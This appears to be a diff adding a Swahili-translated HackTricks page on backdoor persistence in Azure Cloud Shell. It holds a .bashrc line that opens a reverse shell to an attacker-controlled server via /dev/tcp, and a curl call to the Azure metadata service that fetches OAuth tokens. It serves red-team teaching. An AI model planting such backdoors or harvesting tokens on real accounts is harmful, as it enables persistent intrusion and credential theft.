Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud

src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md

@@ -0,0 +1,56 @@
+# Az - Cloud Shell Persistence
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+
+<details>
+
+<summary>Support HackTricks</summary>
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>
+{% endhint %}
+
+## Cloud Shell Persistence
+
+Azure Cloud Shell inatoa ufikiaji wa amri ili kudhibiti rasilimali za Azure kwa hifadhi ya kudumu na uthibitishaji wa kiotomatiki. Washambuliaji wanaweza kutumia hii kwa kuweka backdoors katika saraka ya nyumbani ya kudumu:
+
+* **Persistent Storage**: Saraka ya nyumbani ya Azure Cloud Shell imewekwa kwenye sehemu ya faili ya Azure na inabaki salama hata baada ya kikao kumalizika.
+* **Startup Scripts**: Faili kama .bashrc zinafanya kazi kiotomatiki mwanzoni mwa kila kikao, kuruhusu utekelezaji wa kudumu wakati shell ya wingu inaanza.
+
+Mfano wa backdoor katika .bashrc:
+
+{% code overflow="wrap" %}
+```bash
+echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc
+```
+{% endcode %}
+
+Hii backdoor inaweza kutekeleza amri hata dakika 5 baada ya shell ya wingu kumalizika na mtumiaji.
+
+Zaidi ya hayo, uliza huduma ya metadata ya Azure kwa maelezo ya mfano na tokeni:
+{% code overflow="wrap" %}
+```bash
+curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s
+```
+{% endcode %}
+
+
+{% hint style="success" %}
+Jifunze na fanya mazoezi ya AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
+Jifunze na fanya mazoezi ya GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+
+<details>
+
+<summary>Support HackTricks</summary>
+
+* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
+* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
+
+</details>
+{% endhint %}